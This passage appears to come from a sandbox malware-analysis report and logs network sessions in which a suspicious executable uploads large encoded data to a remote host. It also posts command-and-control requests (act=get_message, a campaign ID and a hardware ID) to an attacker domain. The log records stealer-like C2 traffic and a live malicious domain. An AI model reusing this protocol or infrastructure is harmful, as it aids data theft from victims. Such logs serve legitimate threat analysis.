2024-12-30 09:35:14 UTC	15331	OUT	Data Raw: 95 82 6e 8c 46 35 37 64 48 e8 1c 54 69 ec d1 12 9d fb 6b 23 79 e9 38 bf 16 f1 c9 e3 e7 32 31 d2 7c 57 32 7a 88 ef b8 8e f0 bd b9 16 50 2a 45 96 3d 4c c4 83 81 db df a3 e3 8d e0 2b c0 ed 08 cd 97 58 8e a4 e7 71 59 28 1a 01 e3 5d f2 f6 81 83 0a 26 ef 70 8b 1e 2d c4 c9 c5 a0 a5 b4 a3 37 bc f1 e1 50 a0 c6 b7 e0 f3 29 91 ef 7d 4e 2d 85 62 73 5d f4 88 65 ce 74 5b ec 90 c8 46 95 e6 3d 6c 74 2d 3f 31 af 9e da b6 f6 f2 39 01 d4 75 d9 d4 b6 d4 64 64 d9 a6 86 d5 59 bd ac c2 24 51 88 63 39 28 da 9e 6f 21 ea 27 c9 c7 56 bd 8c b2 5d 06 43 a3 a3 86 3b 44 9f 4c 74 35 27 7e e5 97 94 7b a3 9f c4 55 a4 81 98 de 7f b0 b1 a6 47 dd ae ef 7c 95 8a de ae d1 c5 1f 11 a8 dc e2 72 a3 d5 c1 6f b6 6c 3d 39 cf cf aa ff e0 79 73 bd 31 ee 56 de 54 ed 91 ae 61 1c e6 09 58 07 33 be cd 06 Data Ascii: nF57dHTik#y821\|W2zP*E=L+XqY(]&p-7P)}N-bs]et[F=lt-?19uddY$Qc9(o!'V]C;DLt5'~{UG\|rol=9ys1VTaX3
2024-12-30 09:35:14 UTC	15331	OUT	Data Raw: 0d 02 7a e7 d6 10 19 74 fa f7 0b 87 0b 3f e0 71 be ab 31 a5 fb 6e a9 6b d4 06 7d 51 41 81 ec 8c aa b1 b3 2d 2d d8 33 e4 8d bf 1d da 6c ef 1d ae d4 a0 1f fd 20 46 99 c1 cc 16 2b 96 9e 3a ae dd 7d 20 0e bd 6e fa f8 35 33 7e 42 e7 ac 68 58 17 54 e9 d9 c7 07 1f 28 06 fa a8 ed 6b 12 a9 70 59 d5 49 88 71 a3 60 27 30 98 67 e4 98 34 a9 82 17 3b ec 3c 6a cd 27 94 17 f4 21 6a 56 48 a1 05 fd 39 4a ec 58 c4 14 e6 af b1 c7 48 38 47 85 31 5d c6 7f 7e 1a de b1 54 ca 79 cc f2 68 33 3b ce 91 cb f7 af 0f 0a 5a 16 d7 9a ff 2d 47 53 be a4 5a 7b 2b 7f fb 24 91 79 44 12 16 1e dd 93 4d fc eb 01 e9 d6 4b 40 f0 b6 5b 70 15 ac ba b5 ee 9c fc a6 6b 4f de bc 45 fe 88 63 6f 04 2d 89 f7 7c b7 8c d5 61 ec 68 53 19 6d 7a ab 88 40 48 26 d8 98 d3 49 4e 03 59 f9 f4 63 f3 66 f9 2b b2 15 ad Data Ascii: zt?q1nk}QA--3l F+:} n53~BhXT(kpYIq`'0g4;<j'!jVH9JXH8G1]~Tyh3;Z-GSZ{+$yDMK@[pkOEco-\|ahSmz@H&INYcf+
2024-12-30 09:35:14 UTC	15331	OUT	Data Raw: e5 a2 6e 90 c1 c9 39 48 49 c4 8e 96 e3 77 ef bb 8e 33 a8 6c 7b 1d c4 5d 7f f1 00 a5 9f cb ef f8 38 df bd c6 7f be ca c6 24 ce d4 6b 8b bd 3a 28 41 3f 99 f1 ec ca b4 af d7 d6 d1 3b 8d e7 f6 0e 04 24 b1 a4 56 3f 0e 3d ad cb fd f4 52 7b 6a a0 c5 35 64 fc c2 4c aa 44 4a a5 e4 25 62 3c f7 22 77 98 2f f8 8b ce 8b ef 94 66 5c bd a4 77 a0 e0 6d 67 6a 72 1a b6 c9 5a 3b 3f 26 b6 45 a7 db d8 bf a5 55 36 90 f9 6b b1 03 45 08 da 3c b8 fc ed 87 68 14 d9 a5 e8 bb 7b 75 9b 57 61 a2 d8 ca 84 a6 d9 de 2a 92 2a 56 c7 f3 fa 0d e6 bb 8e d3 8c c0 5b 02 70 6b df e4 fc 63 e2 50 b8 11 43 e9 3f 53 bd b2 89 a3 9e d7 02 bd 4b 4b 6c cc ff 65 5e fb 94 91 a6 86 32 8f 32 4b e4 ab e0 d8 ff a0 de ce b9 76 a0 3e 06 02 fc 82 d0 06 9e 53 7e 97 74 42 28 a5 7b 5c 7e a1 79 1c 35 ee e9 ff 3b 32 Data Ascii: n9HIw3l{]8$k:(A?;$V?=R{j5dLDJ%b<"w/f\wmgjrZ;?&EU6kE<h{uWa**V[pkcPC?SKKle^22Kv>S~tB({\~y5;2
2024-12-30 09:35:14 UTC	15331	OUT	Data Raw: d4 01 29 1c 54 6b fd e4 c4 95 8c 08 4f d0 e4 70 cb 6c 3a d7 c9 b0 1e 9d 2a 78 34 48 92 ef 8d b1 5d 7f e4 a6 66 5a cc 05 23 8b c5 ed 79 9f 4b 1e f5 41 be 63 d2 0c 5b 8f da 3e 91 e6 a0 d4 da 72 14 39 8d df 5a 6c 4c 6c 60 ff 0b d5 dc 8e 7d 85 41 93 fb 17 ed bb 89 4c 19 e1 3d 8c a2 c2 b6 56 c2 ec 0d c2 d3 b2 88 0b ab b5 4d 05 75 e6 41 1b af 47 af 3f f0 df 71 3a 71 b8 e2 4b 85 c0 66 04 d7 64 62 e7 bf 86 61 a5 7b 11 ab ee 4c 4f 0e 5d d4 a1 94 65 21 e6 1a 4b f3 61 be 64 25 69 13 86 2d 7c f4 c7 36 ec 93 3d b3 32 d2 a0 a6 3d 14 63 4f 42 bb e8 05 04 15 98 82 98 15 51 72 bb 2e aa 66 da ea 9a 08 45 d5 68 a2 40 08 f5 0a 14 86 fe 5c 7f 50 67 d8 00 6f 4a a7 27 91 c0 be ed a5 fa e2 cf 85 0c de cc d8 cb b0 e1 34 0b ba 09 5f 6a 05 70 91 5f 8c 3e 2f bf 98 65 65 c6 98 00 28 Data Ascii: )TkOpl:*x4H]fZ#yKAc[>r9ZlLl`}AL=VMuAG?q:qKfdba{LO]e!Kad%i-\|6=2=cOBQr.fEh@\PgoJ'4_jp_>/ee(
2024-12-30 09:35:14 UTC	15331	OUT	Data Raw: ba 5e 06 79 6c 12 52 2f cd 4f e9 0f eb 7b 82 5c 17 ce 08 83 f2 d8 60 b1 c7 4f 9a e9 03 16 12 1f 8e f5 22 ff ef 80 34 a9 ae d5 ad 93 9d 45 1f de d5 a5 a8 95 bb 53 fc ed c3 f0 3f ef 0a e0 10 2b d0 3a c4 3c 5e 32 95 f4 5c 31 f6 57 b8 ab d8 1a 3e c9 e4 58 ca 11 f5 a2 91 b1 60 25 e4 ad eb 87 fe cf 78 35 ae 77 7c 17 c9 5d ab d9 48 58 01 75 09 d0 ac c5 02 3b b6 fb e7 9b 50 df ea a8 bb 20 1a 5f d2 bd 36 97 cc d2 c4 10 07 56 8a 6f 91 d4 01 e8 5c cd b1 8a a0 4a d0 1d d8 0e 8f fb d4 2e 6d 66 11 2d db 26 82 0b b0 bb 12 39 36 ef d1 d6 71 06 1f 51 0d 66 7e 5b b1 c0 16 e4 8a 90 1a 61 fb fd 58 be 63 64 2d 6a c0 16 4f ff 77 f1 5c 1f 10 54 78 8f 28 bb 51 72 9f 54 67 88 0e 3e bc 4f 4a b4 96 2b 3f 5c b6 44 10 75 ac 26 cd 4a c4 73 17 af 85 45 92 ea 86 65 6c 8e 6a 4d d6 11 61 Data Ascii: ^ylR/O{\`O"4ES?+:<^2\1W>X`%x5w\|]HXu;P _6Vo\J.mf-&96qQf~[aXcd-jOw\Tx(QrTg>OJ+?\Du&JsEeljMa
2024-12-30 09:35:14 UTC	15331	OUT	Data Raw: cd 5f 36 cb 4a d3 8d f5 63 a7 f6 ea 87 49 fc fe f5 a7 be bb 92 f2 be c9 8f 57 45 eb f3 9f 1c 1c 8e 7e 2f 29 71 b7 52 94 ef 43 05 9b 61 be 9e a6 9e a2 13 01 e2 33 17 a1 63 7d 07 dc c7 85 ce a8 01 14 39 72 7a 1b 57 8b d4 0d dd 1d c7 22 c5 05 ae 77 b6 55 a4 ae b8 b4 ed 02 06 1b 3f 16 96 11 eb c8 15 24 73 d9 8d 17 71 c5 fe e2 fb 4b 18 f3 28 ec fa 05 c5 c4 ad 1c 87 f3 2d 1b f5 8f 5d de ad c8 6f 25 a8 d9 f5 3e fb 99 83 4f cc 54 a9 2b fa a1 d1 0d e6 b1 c0 fb 4f 55 3c da ea 1b e7 a7 2e 1c 28 3c f8 dd eb dc a6 c6 ca d6 66 30 29 83 90 97 3c 38 f8 7b 39 34 96 a0 71 00 d0 22 6b a4 95 06 ff f9 cc 0a 1f 74 37 ae b1 a0 b4 71 08 8f 28 0f ae 6f ee 5e 30 db 4f af f7 f1 e5 a0 17 e5 cd a9 b5 e3 db 26 cb f6 a9 59 0d d0 63 bd f1 c2 ed 36 dd 4c 33 fe ef 39 e2 08 ee d4 19 e3 11 Data Ascii: _6JcIWE~/)qRCa3c}9rzW"wU?$sqK(-]o%>OT+OU<.(<f0)<8{94q"kt7q(o^0O&Yc6L39
2024-12-30 09:35:14 UTC	15331	OUT	Data Raw: bc 4b 39 fa aa c1 46 88 da 3a 5e a9 47 d7 b1 7c a3 fc c1 16 7b 45 fa 0f 1f e9 97 38 2c 94 39 ff 4f 7c ef 48 c3 6a aa 32 f9 9e 32 4d 03 03 f8 bf 71 5d 96 f7 f4 37 34 6a 34 0f a8 32 ae de fc 4b 78 f7 2a d7 54 22 e2 87 1c 84 80 d0 30 22 ff 2e c4 90 15 6e ad 60 ff 1d 4c 79 16 03 eb ed c5 45 14 5b 40 f8 4e 1e f6 0b fe 22 bd a5 60 2f 89 75 11 94 28 9b fb 33 bc 6b 58 e8 22 df 66 e0 6b fb e7 7f 6b 20 7c 34 38 80 dd c8 da c2 41 8e 77 79 94 6d 66 86 1c c9 ac a7 47 44 cc bf 9a 8a a1 ea 44 b0 37 8e 71 ed e5 a8 50 3d fd a4 e1 67 d1 d1 a7 6f a0 1a fd ea 28 27 6d c3 27 51 2f b1 c0 87 9c d4 26 01 6c f6 66 21 08 1e 92 3c cc bc 20 3c a6 5d 9b 7d 56 58 30 f1 93 61 05 9b dc e6 42 34 32 37 c6 cb 53 76 98 f5 3b dc c2 1c d8 d7 a0 07 f0 c3 34 40 79 c8 76 39 80 6a d0 db 59 57 7e Data Ascii: K9F:^G\|{E8,9O\|Hj22Mq]74j42Kx*T"0".n`LyE[@N"`/u(3kX"fkk \|48AwymfGDD7qP=go('m'Q/&lf!< <]}VX0aB427Sv;4@yv9jYW~
2024-12-30 09:35:14 UTC	15331	OUT	Data Raw: 85 45 16 ca f5 32 b2 63 32 35 3b 32 33 01 b1 72 cb 57 22 f3 e6 0f 4e 55 e0 3d 9a c5 c5 bb e8 e0 a4 1c 90 b4 5b 31 9e 89 00 4b 02 5d 8b 2d ae e4 7d d0 1b 88 fd e7 19 5c f1 fb 38 41 6f 63 df f8 bd 2d 42 aa fe 10 67 a4 7f fc f7 68 bf a4 01 8a f9 83 aa 36 06 a5 4b 28 d1 ef fa 63 cb 59 55 d4 3f 6c a7 c4 af fd 89 bf d7 72 b7 a6 ed 15 03 28 8c d2 bd fd af bc 42 fb 59 2b c2 8a 3e 84 e0 af ce 10 8a 5d 1d 03 93 11 ec 75 61 05 32 65 63 2b a0 6a 9e cd a1 4c 86 79 af f0 8d 7b 6e 52 53 ab 3e 9b d2 fa 7e 0f 3b 65 62 e0 80 4f 03 f5 34 c2 1a 9d 6b 4c 57 e8 0f fe e9 fe 3d e2 40 1d b7 57 40 d4 fc 1c 08 e8 86 96 25 40 81 23 f5 77 f5 54 d6 13 bd 1e 90 59 f9 f9 f2 96 df 47 74 ae 78 f8 a5 08 1b 97 b4 92 4c 40 e7 d6 50 fe 0d d8 85 ed 63 ef 7e c8 d8 c8 9b 35 65 68 ed ae 92 0b 8e Data Ascii: E2c25;23rW"NU=[1K]-}\8Aoc-Bgh6K(cYU?lr(BY+>]ua2ec+jLy{nRS>~;ebO4kLW=@W@%@#wTYGtxL@Pc~5eh
2024-12-30 09:35:16 UTC	1137	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 09:35:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6fe6p0io41o1pvf43io1mue9fg; expires=Fri, 25 Apr 2025 03:21:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0op2psCZ5E0nLMtfrI4iZwLSAbVyd7pqHJLTMN4JuB8xm6hzuvzsP1ioyYZKa6As%2F027Q6trkP4SRFmcNu1wh5Zu5%2FB%2FcB4asgq5SCo9Xm1p%2FZHLey42mJdiZsR8c0aoKblMffg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa109e1adb043c7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1558&min_rtt=1554&rtt_var=591&sent=192&recv=570&lost=0&retrans=0&sent_bytes=2844&recv_bytes=553812&delivery_rate=1836477&cwnd=215&unsent_bytes=0&cid=7e507e6a01b0088c&ts=2064&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	188.114.97.3	443	7448	C:\Users\user\Desktop\6QLvb9i.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 09:35:16 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 89 Host: undesirabkel.click
2024-12-30 09:35:16 UTC	89	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 69 6a 63 75 6a 6d 70 72 67 69 6c 69 26 6a 3d 26 68 77 69 64 3d 39 35 35 38 38 31 34 43 30 31 37 39 38 45 34 31 39 32 41 34 36 37 46 36 31 35 46 30 37 34 43 37 Data Ascii: act=get_message&ver=4.0&lid=LPnhqo--ijcujmprgili&j=&hwid=9558814C01798E4192A467F615F074C7
2024-12-30 09:35:17 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 09:35:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=avu9pafosgf5qgu0bdou74t38r; expires=Fri, 25 Apr 2025 03:21:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GxNqlLOFWR7MW2nuOGxziQO5cj8OPLVW%2B7Ht5ozMKaVpHSbEBP9esyNvTpJZiSmQKRKSPRa2iUC7GOyacLeeyLJptj7jRw6rCH%2F45f4megkGmbz2pEuLsBKQ6p5bvbFDx3l0qpE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa109f1a946f5f6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1721&min_rtt=1712&rtt_var=649&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=991&delivery_rate=1705607&cwnd=183&unsent_bytes=0&cid=c79575ea90f97024&ts=452&x=0"
2024-12-30 09:35:17 UTC	244	IN	Data Raw: 32 62 37 62 0d 0a 36 35 4e 53 6c 57 66 7a 2f 2b 30 62 54 37 62 73 49 66 39 62 75 45 38 4a 38 44 42 6a 33 30 58 32 65 51 32 33 6b 73 56 5a 73 78 71 77 36 48 44 7a 45 39 48 46 33 44 64 74 30 38 34 62 7a 6e 65 61 4b 79 76 4b 45 69 75 58 42 37 41 50 52 4e 50 34 72 52 58 6b 4c 72 2b 6e 4e 61 41 70 76 37 79 59 61 68 7a 37 74 57 32 79 45 76 45 46 4d 63 56 36 4a 75 38 6b 6a 6a 64 50 30 63 62 31 50 73 64 49 6f 50 6c 67 72 51 2b 65 73 4b 68 76 4c 63 36 38 53 4c 73 77 69 44 78 43 78 6b 41 71 70 79 4b 46 44 6d 72 51 2f 4c 38 79 33 30 36 35 34 52 65 6c 49 63 71 76 76 6c 67 33 7a 70 74 7a 6e 53 4c 77 46 6a 32 6a 41 52 61 61 62 72 38 32 57 65 54 6c 74 79 6a 59 63 4b 7a 51 4b 4e 59 6b 73 4a 6d 69 53 42 33 34 71 31 4b 72 43 63 35 2f 4d 4c Data Ascii: 2b7b65NSlWfz/+0bT7bsIf9buE8J8DBj30X2eQ23ksVZsxqw6HDzE9HF3Ddt084bzneaKyvKEiuXB7APRNP4rRXkLr+nNaApv7yYahz7tW2yEvEFMcV6Ju8kjjdP0cb1PsdIoPlgrQ+esKhvLc68SLswiDxCxkAqpyKFDmrQ/L8y30654RelIcqvvlg3zptznSLwFj2jARaabr82WeTltyjYcKzQKNYksJmiSB34q1KrCc5/ML
2024-12-30 09:35:17 UTC	1369	IN	Data Raw: 6c 38 4a 72 49 5a 32 53 55 69 78 50 32 6a 41 64 6c 43 67 73 6c 72 6f 51 76 43 31 4c 64 54 65 63 47 35 55 59 30 66 39 41 55 2f 6f 33 73 49 36 43 61 66 44 46 2f 68 6f 61 52 67 78 56 32 35 2f 41 66 57 41 61 6d 50 6c 56 4d 33 68 4e 6c 47 6b 6d 37 51 49 33 36 73 48 7a 2f 77 64 37 77 74 59 39 50 62 74 53 44 71 58 70 48 34 50 74 45 6d 78 4c 72 64 54 48 62 36 75 32 4b 47 50 4f 45 44 62 59 56 34 4f 75 73 57 78 77 78 49 6e 4e 75 4b 50 65 42 74 6d 64 6f 31 2b 69 43 67 73 36 35 59 43 39 43 6a 63 71 30 56 39 54 78 64 6f 57 68 54 35 67 79 36 4d 55 72 31 31 4c 4d 51 31 32 43 44 33 77 57 68 4d 38 65 59 32 46 55 44 39 5a 6c 55 72 42 62 78 41 30 53 35 65 53 6d 38 63 4c 77 2f 57 4e 62 71 69 78 76 56 54 74 76 30 49 66 51 45 74 71 6a 56 63 33 33 35 71 56 57 64 50 4e 34 6d 54 Data Ascii: l8JrIZ2SUixP2jAdlCgslroQvC1LdTecG5UY0f9AU/o3sI6CafDF/hoaRgxV25/AfWAamPlVM3hNlGkm7QI36sHz/wd7wtY9PbtSDqXpH4PtEmxLrdTHb6u2KGPOEDbYV4OusWxwxInNuKPeBtmdo1+iCgs65YC9Cjcq0V9TxdoWhT5gy6MUr11LMQ12CD3wWhM8eY2FUD9ZlUrBbxA0S5eSm8cLw/WNbqixvVTtv0IfQEtqjVc335qVWdPN4mT
2024-12-30 09:35:17 UTC	1369	IN	Data Raw: 48 64 63 38 77 51 66 2f 61 68 78 2f 46 55 34 2f 35 4f 74 6b 77 78 36 76 5a 66 48 72 34 6f 47 4b 4b 4b 75 73 43 55 4c 78 39 4b 70 59 50 7a 6b 78 48 38 71 4b 6b 49 66 31 59 6a 63 64 69 38 68 53 51 6e 4b 68 4d 64 39 37 65 62 72 6f 76 32 69 64 5a 6d 58 51 49 37 7a 61 39 54 33 33 2b 36 71 49 71 78 48 32 4d 2f 53 6a 2b 44 4b 65 74 6e 31 35 2f 38 4e 56 78 72 42 6a 41 4e 33 36 69 55 68 71 58 48 4d 49 71 50 4d 4c 58 37 68 44 38 54 72 6a 6b 49 4f 51 4d 6d 62 69 75 59 51 7a 31 72 30 65 77 43 4f 6f 42 54 6f 4e 6b 4d 6f 64 31 7a 7a 42 42 2f 39 71 48 48 38 56 54 6a 2f 6b 36 32 54 44 48 71 39 6c 38 65 76 69 67 59 6f 6f 71 36 77 4a 51 76 48 30 71 6c 67 2f 4f 54 45 66 79 6f 71 51 68 2f 56 69 4e 78 32 4c 79 46 4a 43 63 71 45 78 33 33 74 35 75 75 69 2f 61 4a 31 6d 5a 64 41 Data Ascii: Hdc8wQf/ahx/FU4/5Otkwx6vZfHr4oGKKKusCULx9KpYPzkxH8qKkIf1Yjcdi8hSQnKhMd97ebrov2idZmXQI7za9T33+6qIqxH2M/Sj+DKetn15/8NVxrBjAN36iUhqXHMIqPMLX7hD8TrjkIOQMmbiuYQz1r0ewCOoBToNkMod1zzBB/9qHH8VTj/k62TDHq9l8evigYooq6wJQvH0qlg/OTEfyoqQh/ViNx2LyFJCcqEx33t5uui/aJ1mZdA
2024-12-30 09:35:17 UTC	1369	IN	Data Raw: 4f 6a 72 72 76 61 34 52 35 6b 32 44 2f 54 76 42 55 39 6a 4a 76 43 77 34 37 6f 4e 74 75 69 48 2f 65 58 36 49 59 52 50 70 4c 62 34 55 50 74 72 39 6e 41 6e 71 61 49 4f 67 47 61 4e 58 69 74 53 5a 63 67 37 46 6f 45 65 73 43 66 55 70 5a 73 46 6d 4c 4a 31 39 68 45 35 72 2b 66 32 6d 4f 2f 39 4f 6b 71 49 39 34 79 32 37 6f 38 4a 4b 4b 66 50 56 56 70 77 6f 38 54 70 63 78 33 77 6b 6d 42 47 76 45 57 47 46 39 62 38 65 69 31 2b 47 70 32 53 6a 4b 4a 69 70 33 6d 4d 38 78 64 55 57 68 7a 72 4a 4e 6a 2f 49 42 69 61 32 4c 62 73 4e 61 49 57 6e 6b 53 76 56 54 62 2f 56 4a 4d 77 4a 78 35 4f 4c 61 44 6a 68 6f 6b 53 55 4b 2f 42 32 51 5a 4a 33 47 75 39 39 6d 68 46 4f 2b 76 32 4a 46 2f 6c 76 75 76 49 36 2b 79 2b 31 6c 4e 78 56 44 64 43 34 45 5a 67 76 6a 6e 64 7a 6e 56 67 4c 69 41 69 Data Ascii: Ojrrva4R5k2D/TvBU9jJvCw47oNtuiH/eX6IYRPpLb4UPtr9nAnqaIOgGaNXitSZcg7FoEesCfUpZsFmLJ19hE5r+f2mO/9OkqI94y27o8JKKfPVVpwo8Tpcx3wkmBGvEWGF9b8ei1+Gp2SjKJip3mM8xdUWhzrJNj/IBia2LbsNaIWnkSvVTb/VJMwJx5OLaDjhokSUK/B2QZJ3Gu99mhFO+v2JF/lvuvI6+y+1lNxVDdC4EZgvjndznVgLiAi
2024-12-30 09:35:17 UTC	1369	IN	Data Raw: 66 53 31 45 74 52 5a 6f 4f 6f 42 39 7a 57 56 72 34 78 68 50 50 2b 41 47 4c 59 58 2f 58 64 74 75 41 49 45 6c 43 2b 66 41 30 75 4f 78 71 6f 2b 68 6d 37 59 32 43 48 66 49 6f 61 52 6e 55 6f 59 2b 74 70 75 79 79 33 54 41 33 79 43 66 31 4b 4f 4e 36 4d 61 59 74 4c 4f 36 67 6a 2b 58 71 2f 6a 43 39 30 43 75 5a 69 64 57 48 66 7a 6d 56 66 55 61 76 41 64 57 72 68 30 4e 2b 38 32 6d 67 35 63 7a 64 36 57 50 2b 64 78 6d 61 6f 4b 37 43 53 45 68 37 45 30 44 76 36 2f 61 4d 34 58 34 42 74 5a 6b 6c 35 61 74 53 65 77 43 32 4c 6b 6f 2f 59 63 38 47 43 6f 2b 77 58 47 48 6f 53 35 69 58 49 36 37 39 74 7a 73 78 69 4c 66 33 6d 6c 58 43 57 70 44 4a 41 61 61 2f 4c 69 6a 53 72 33 65 4c 76 71 59 71 77 31 6f 70 58 59 4d 42 7a 48 76 6c 53 75 4f 74 41 68 51 62 5a 62 55 70 45 48 6b 43 30 39 Data Ascii: fS1EtRZoOoB9zWVr4xhPP+AGLYX/XdtuAIElC+fA0uOxqo+hm7Y2CHfIoaRnUoY+tpuyy3TA3yCf1KON6MaYtLO6gj+Xq/jC90CuZidWHfzmVfUavAdWrh0N+82mg5czd6WP+dxmaoK7CSEh7E0Dv6/aM4X4BtZkl5atSewC2Lko/Yc8GCo+wXGHoS5iXI679tzsxiLf3mlXCWpDJAaa/LijSr3eLvqYqw1opXYMBzHvlSuOtAhQbZbUpEHkC09
2024-12-30 09:35:17 UTC	1369	IN	Data Raw: 71 4c 61 72 76 47 41 4d 45 44 78 73 61 67 49 69 6a 4d 6e 6d 61 61 43 66 59 59 4f 49 70 44 4b 72 4e 38 76 7a 56 6f 77 64 2f 77 4e 59 64 4d 67 64 41 32 2f 46 47 38 6b 64 38 74 4e 74 4f 34 51 4a 67 5a 39 42 5a 61 67 57 49 57 6a 69 53 65 46 30 58 78 2b 66 51 58 38 58 79 2f 6f 7a 58 68 55 63 75 46 67 43 31 2f 68 4b 46 72 78 6a 6e 58 65 57 2b 53 59 56 65 78 4d 38 46 53 62 73 48 52 71 43 48 45 66 59 58 48 43 36 55 42 74 74 53 6e 63 68 4f 5a 33 46 61 4f 59 76 63 66 63 35 64 53 49 70 77 71 77 67 70 4a 77 39 57 32 49 50 78 65 75 4f 51 67 35 44 32 64 68 6f 78 44 47 50 71 76 53 4c 4d 6f 34 6a 34 69 70 33 55 76 72 77 6d 31 53 30 53 45 79 2f 49 55 31 31 33 66 77 7a 66 2b 46 37 75 48 6f 30 6f 72 38 36 68 4e 68 52 37 30 66 7a 2b 38 66 69 6d 71 4b 4a 63 7a 52 39 72 69 73 Data Ascii: qLarvGAMEDxsagIijMnmaaCfYYOIpDKrN8vzVowd/wNYdMgdA2/FG8kd8tNtO4QJgZ9BZagWIWjiSeF0Xx+fQX8Xy/ozXhUcuFgC1/hKFrxjnXeW+SYVexM8FSbsHRqCHEfYXHC6UBttSnchOZ3FaOYvcfc5dSIpwqwgpJw9W2IPxeuOQg5D2dhoxDGPqvSLMo4j4ip3Uvrwm1S0SEy/IU113fwzf+F7uHo0or86hNhR70fz+8fimqKJczR9ris
2024-12-30 09:35:17 UTC	1369	IN	Data Raw: 4f 32 44 44 68 56 72 4b 79 6f 6b 38 63 77 5a 35 51 6b 78 33 56 64 6c 47 49 56 69 66 73 42 36 70 57 59 59 62 58 69 43 2f 36 54 4a 2f 46 4e 4e 59 47 71 63 6d 65 62 77 62 73 68 6b 6d 78 46 49 73 61 53 49 63 46 4c 5a 4d 47 67 77 68 73 67 73 57 6b 48 49 70 4e 6f 63 73 41 2b 69 4c 44 6e 70 55 6f 4e 34 47 50 57 36 34 75 33 6a 77 35 6c 67 4a 62 70 69 69 36 4f 47 4c 6e 30 66 41 46 6e 45 43 34 33 6d 50 61 41 4b 61 5a 6a 48 4d 39 31 49 68 6a 71 7a 6e 70 42 55 65 52 59 31 44 70 44 34 63 55 52 6f 4b 35 6c 52 72 41 64 6f 6a 36 47 4b 59 7a 68 38 36 73 56 67 44 69 76 31 61 4e 4b 74 55 6f 50 4d 42 7a 55 5a 35 7a 70 7a 4d 38 32 63 71 44 44 64 6f 76 68 39 59 77 78 67 57 64 79 35 31 59 50 4d 47 75 62 5a 70 72 79 41 64 35 75 51 68 52 6c 42 6e 5a 4b 6e 6a 47 38 37 63 4e 77 7a Data Ascii: O2DDhVrKyok8cwZ5Qkx3VdlGIVifsB6pWYYbXiC/6TJ/FNNYGqcmebwbshkmxFIsaSIcFLZMGgwhsgsWkHIpNocsA+iLDnpUoN4GPW64u3jw5lgJbpii6OGLn0fAFnEC43mPaAKaZjHM91IhjqznpBUeRY1DpD4cURoK5lRrAdoj6GKYzh86sVgDiv1aNKtUoPMBzUZ5zpzM82cqDDdovh9YwxgWdy51YPMGubZpryAd5uQhRlBnZKnjG87cNwz
2024-12-30 09:35:17 UTC	1369	IN	Data Raw: 6f 43 4c 4b 7a 4a 38 70 4e 2b 62 65 66 64 41 70 77 51 64 51 68 33 5a 62 71 33 32 46 4d 55 4c 7a 77 62 49 51 68 30 2b 66 78 54 50 77 49 4c 2b 37 6d 56 38 72 35 4a 39 72 73 69 69 49 47 7a 71 32 64 41 69 58 44 62 51 2f 59 65 4c 61 6f 6a 7a 43 54 64 6a 70 42 65 4a 53 76 62 4f 75 66 53 7a 48 71 45 6d 76 46 2f 6c 38 65 35 64 6b 49 75 30 49 6f 43 70 31 2f 61 61 4a 45 39 64 58 6e 2b 59 42 78 51 62 48 72 72 56 79 49 6f 47 49 63 4c 73 66 30 33 39 36 75 77 59 54 6b 77 53 65 46 6e 66 72 76 61 34 32 67 47 33 62 38 43 62 76 4b 38 4c 4b 78 6e 51 75 30 4a 70 76 74 54 66 4b 41 6b 32 6d 42 44 54 75 4d 4c 73 6a 56 38 33 4f 36 67 36 4c 64 62 69 68 59 74 49 6b 69 62 79 4b 66 69 50 34 6e 67 71 6a 64 4f 67 65 61 71 42 67 4e 4c 55 32 6e 30 35 72 32 73 37 71 46 39 46 55 6f 2b 45 Data Ascii: oCLKzJ8pN+befdApwQdQh3Zbq32FMULzwbIQh0+fxTPwIL+7mV8r5J9rsiiIGzq2dAiXDbQ/YeLaojzCTdjpBeJSvbOufSzHqEmvF/l8e5dkIu0IoCp1/aaJE9dXn+YBxQbHrrVyIoGIcLsf0396uwYTkwSeFnfrva42gG3b8CbvK8LKxnQu0JpvtTfKAk2mBDTuMLsjV83O6g6LdbihYtIkibyKfiP4ngqjdOgeaqBgNLU2n05r2s7qF9FUo+E
